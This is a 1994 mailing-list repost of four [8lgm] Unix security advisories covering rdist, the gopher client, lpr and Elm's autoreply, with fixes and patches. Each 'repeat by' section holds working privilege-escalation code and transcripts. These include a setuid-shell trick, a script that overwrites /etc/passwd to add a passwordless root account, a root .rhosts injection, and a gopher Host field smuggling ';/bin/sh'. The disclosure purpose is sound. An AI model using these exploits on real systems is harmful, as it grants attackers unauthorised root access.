8lgm Advisory Releases
Scott Chasin ((no email))
Mon, 7 Mar 1994 09:17 -0600
[The following was posted to several newsgroups and mailing lists over the
weekend. Please be advised. I have combined all advisories into one text
for transport purposes. --chasin]
------------------------------------------------------------------------------
[Introduction to [8lgm] Advisory Releases]
In the light of the current move towards openness in the discussion of computer
security related matters, the [8lgm] team have decided to release some of their
back catalogue of [8lgm] advisories previously unavailable to outsiders.
Those advisories deemed suitable for publication are known to the relevant
organisations concerned (e.g. CERT). However, these vulnerabilities have not
been given the publicity required so that system administrators can correct the
problem. In most cases, fixes are currently available; please contact your
vendor directly for patch details.
[8lgm] was created in early 1989 by several individuals with a common interest
in computer security. Up until 1991, [8lgm] members actively used
vulnerabilities to obtain access to many computer systems world-wide. After
this period, any results of research have been reported and passed onto
vendors. However, this work has been carried out on a limited number of
platforms, so the true extent of any vulnerability is currently unknown.
If the problem described in any advisory is discovered to affect operating
systems not mentioned, please e-mail [8lgm] at 8lgm@bagpuss.demon.co.uk,
giving full details so that this information can be added to the bug database.
Please do not hesitate to contact [8lgm] with any questions related to computer
security. An [8lgm] team member will deal with your enquiry in the strictest
of confidence, and provide assistance whenever required.
8lgm-bugs@bagpuss.demon.co.uk (To report security flaws)
8lgm-request@bagpuss.demon.co.uk (Request for [8lgm] Advisories)
8lgm@bagpuss.demon.co.uk (General enquiries)
This introductory file and the advisories mentioned have been forwarded to the
following newsgroups and mailing lists.
comp.security.unix
INFOHAX <infohax-emergency@stormking.com>
BUGTRAQ <chasin@crimelab.com>
CERT/CC <cert@cert.org>
===========================================================================
[8lgm]-Advisory-1.UNIX.rdist.23-Apr-1991
PROGRAM:
rdist(1) (/usr/ucb/rdist or /usr/bin/rdist)
VULNERABLE OS's:
SunOS 4.1.2 or earlier (Patch-ID# 100383-06 fixes this)
A/UX 2.0.1
SCO 3.2v4.2
BSD NET/2 Derived Systems
Most systems supporting BSD rdist
DESCRIPTION:
rdist(1) uses popen(3) to execute sendmail(8) as root. It can
therefore be made to execute arbitary programs as root.
IMPACT:
Any user with access to rdist(1) can become root.
REPEAT BY:
This example demonstrates how to become root on most affected
machines by creating a set-uid root shell. Please do not do
this unless you have permission.
Create the following file, 'distfile':
8<--------------------------- cut here ----------------------------
HOSTS = localhost
FILES = BullInTheHeather
${FILES} -> ${HOSTS}
install /tmp/1 ;
notify user ;
8<--------------------------- cut here ----------------------------
Create the following file, 'usr.c':
8<--------------------------- cut here ----------------------------
main()
{
setuid(0);
chown("sh", 0, 0);
chmod("sh", 04755);
exit(0);
}
8<--------------------------- cut here ----------------------------
(Lines marked with > represent user input)
> % cp /bin/sh .
> % cc -o usr usr.c
> % set path=(. $path)
> % setenv IFS /
> % rdist
updating host localhost
rdist: BullInTheHeather: No such file or directory
notify @localhost ( user )
> % ls -l
-rwsr-xr-x 1 root 106496 Mar 4 00:25 sh
> % ./sh
#
FIX:
1. Contact your vendor for a fix. Sun's latest rdist patch
(Patch-ID# 100383-06) fixes this hole in SunOS. Some vendors
closed this hole while fixing an unrelated problem published
by CERT in their advisory: CA-91:20.rdist.vulnerability.
2. In the meantime, restrict access to rdist.
===========================================================================
[8lgm]-Advisory-4.UNIX.gopher.12-Feb-1992
PROGRAM:
gopher(1) (/usr/local/bin/gopher)
UMN gopher client
VULNERABLE OS's:
All versions are believed to have this vulnerability.
DESCRIPTION:
Shell access can be gained from gopher(1), even when running
in secure mode.
IMPACT:
gopher guest accounts are not secure.
REPEAT BY:
This example demonstrates how to use gopher running in secure
mode to gain access to sh. Please do not do this unless you
have permission.
Create or modify a .Links file on any public gopher server,
for example:
Type=8
Name=I'll give you a shell
Host=;/bin/sh
Port=
Path=
Log into the gopher account, and access the server and
directory containing the modified .Links file. Select the
"I'll give you a shell" item, and after quiting telnet the
user has access to sh.
It is also possible to create an entry that would not inform
the user of a gopher client of the commands that are about to
be executed. It is therefore possible to leave commands on a
gopher server for unsuspecting users to execute.
ADVICE:
1. Display techinical information about a link before
connecting to other hosts using gopher.
2. Consider disabling guest gopher logins in the interim.
===========================================================================
[8lgm]-Advisory-3.UNIX.lpr.19-Aug-1991
PROGRAM:
lpr(1) (/usr/ucb/lpr or /usr/bin/lpr)
VULNERABLE OS's:
SunOS 4.1.1 or earlier
BSD 4.3
BSD NET/2 Derived Systems
A/UX 2.0.1
Most systems supporting the BSD LP subsystem
DESCRIPTION:
lpr(1) can be used to overwrite or create (and become owner of)
any file on the system. lpr -s allows users to create symbolic
links in lpd's spool directory (typically /var/spool/lpd).
After 1000 invocations of lpr, lpr will reuse the filename in
the spool directory, and follow the link previously installed.
It will thus overwrite/create any file that this link points too.
IMPACT:
Any user with access to lpr(1) can alter system files and thus
become root.
REPEAT BY:
This example demonstrates how to become root on most affected
machines by modifying /etc/passwd and /etc/group. Please do
not do this unless you have permission.
Create the following script, 'lprcp':
8<--------------------------- cut here ----------------------------
#!/bin/csh -f
#
# Usage: lprcp from-file to-file
#
if ($#argv != 2) then
echo Usage: lprcp from-file to-file
exit 1
endif
# This link stuff allows us to overwrite unreadable files,
# should we want to.
echo x > /tmp/.tmp.$$
lpr -q -s /tmp/.tmp.$$
rm -f /tmp/.tmp.$$ # lpr's accepted it, point it
ln -s $2 /tmp/.tmp.$$ # to where we really want
@ s = 0
while ( $s != 999) # loop 999 times
lpr /nofile >&/dev/null # doesn't exist, but spins the clock!
@ s++
if ( $s % 10 == 0 ) echo -n .
end
lpr $1 # incoming file
# user becomes owner
rm -f /tmp/.tmp.$$
exit 0
8<--------------------------- cut here ----------------------------
(Lines marked with > represent user input)
Make copies of /etc/passwd and /etc/group, and modify them:
> % id
uid=97(8lgm) gid=97(8lgm) groups=97(8lgm)
> % cp /etc/passwd /tmp/passwd
> % ex /tmp/passwd
/tmp/passwd: unmodified: line 42
> :a
> 8lgmroot::0:0:Test account for lpr bug:/:/bin/csh
> .
> :wq
/tmp/passwd: 43 lines, 2188 characters.
> % cp /etc/group /tmp
> % ex /tmp/group
/tmp/group: unmodified: line 49
> :/wheel
wheel:*:0:root,operator
> :c
> wheel:*:0:root,operator,8lgm
> .
> :wq
/tmp/group: 49 lines, 944 characters.
Install our new files:
> % ./lprcp /tmp/group /etc/group
................................................................
...................................
lpr: cannot rename /var/spool/lpd/cfA060testnode
> % ./lprcp /tmp/passwd /etc/passwd
.................................................................
..................................
lpr: cannot rename /var/spool/lpd/cfA061testnode
Check it worked:
> % ls -l /etc/passwd /etc/group
-rw-r--r-- 1 8lgm 944 Mar 3 19:56 /etc/group
-rw-r--r-- 1 8lgm 2188 Mar 3 19:59 /etc/passwd
> % head -1 /etc/group
wheel:*:0:root,operator,8lgm
> % grep '^8lgmroot' /etc/passwd
8lgmroot::0:0:Test account for lpr bug:/:/bin/csh
Become root and tidy up:
> % su 8lgmroot
# chown root /etc/passwd /etc/group
# rm -f /tmp/passwd /tmp/group
#
FIX:
1. Contact your vendor for a fix.
2. In the meantime, apply the following patch, derived from
BSD NET/2 source, which will correct the flaw on most
affected systems:
8<--------------------------- cut here ----------------------------
*** usr/src/usr.sbin/lpr/lpr/lpr.c.orig
--- usr/src/usr.sbin/lpr/lpr/lpr.c
***************
*** 476,496 ****
/*
* Create a new file in the spool directory.
*/
nfile(n)
char *n;
{
register f;
int oldumask = umask(0); /* should block signals */
! f = creat(n, FILMOD);
(void) umask(oldumask);
if (f < 0) {
printf("%s: cannot create %s\n", name, n);
cleanup();
}
if (fchown(f, userid, -1) < 0) {
printf("%s: cannot chown %s\n", name, n);
cleanup();
}
if (++n[inchar] > 'z') {
--- 476,501 ----
/*
* Create a new file in the spool directory.
*/
nfile(n)
char *n;
{
register f;
int oldumask = umask(0); /* should block signals */
! /*
! * Changed creat() to open() to correct
! * a security flaw involving symlinks
! */
! /* f = creat(n, FILMOD); */
! f = open(n, O_WRONLY|O_EXCL|O_CREAT, FILMOD);
(void) umask(oldumask);
if (f < 0) {
printf("%s: cannot create %s\n", name, n);
cleanup();
}
if (fchown(f, userid, -1) < 0) {
printf("%s: cannot chown %s\n", name, n);
cleanup();
}
if (++n[inchar] > 'z') {
8<--------------------------- cut here ----------------------------
3. If you do not have source, you are advised to obtain the BSD
LP subsystem from the NET/2 release (available from ftp.uu.net),
apply the above patch, and use that.
4. Alternatively, some vendors supply both the BSD and SYS V
LP subsystems, in which case you can disable BSD lpr/lpd
and use SYS V lp/lpsched instead.
5. If none of the above are practical, you are advised to restrict
access (via groups) to lpr. If lpr is mode 6755 on your system,
you can still do this using a directory and a symbolic link.
===========================================================================
[8lgm]-Advisory-2.UNIX.autoreply.12-Jul-1991
PROGRAM:
autoreply(1) (/usr/local/bin/autoreply)
Supplied with the Elm Mail System
VULNERABLE OS's:
Any system with a standard installation of The Elm Mail System.
All versions are believed to have this vulnerability.
DESCRIPTION:
autoreply(1) can be used to create root owned files, with mode
666. It can also overwrite any file with semi user-controlled
data.
IMPACT:
Any user with access to autoreply(1) can alter system files and
thus become root.
REPEAT BY:
This example demonstrates how to become root on most affected
machines by modifying root's .rhosts file. Please do not do
this unless you have permission.
Create the following script, 'fixrhosts':
8<--------------------------- cut here ----------------------------
#!/bin/sh
#
# fixrhosts rhosts-file user machine
#
if [ $# -ne 3 ]; then
echo "Usage: `basename $0` rhosts-file user machine"
exit 1
fi
RHOSTS="$1"
USERNAME="$2"
MACHINE="$3"
cd $HOME
echo x > "a
$MACHINE $USERNAME
b"
umask 022
autoreply "a
$MACHINE $USERNAME
b"
cat > /tmp/.rhosts.sh.$$ << 'EOF'
ln -s $1 `echo $$ | awk '{printf "/tmp/arep.%06d", $1}'`
exec autoreply off
exit 0
EOF
/bin/sh /tmp/.rhosts.sh.$$ $RHOSTS
rm -f /tmp/.rhosts.sh.$$ "a
$MACHINE $USERNAME
b"
exit 0
8<--------------------------- cut here ----------------------------
(Lines marked with > represent user input)
> % id
uid=97(8lgm) gid=97(8lgm) groups=97(8lgm)
> % ./fixrhosts ~root/.rhosts 8lgm localhost
You've been added to the autoreply system.
You've been removed from the autoreply table.
> % rsh localhost -l root csh -i
Warning: no access to tty.
Thus no job control in this shell.
#
FIX:
1. Disable autoreply.
2. Wait for a patch from the Elm maintainers.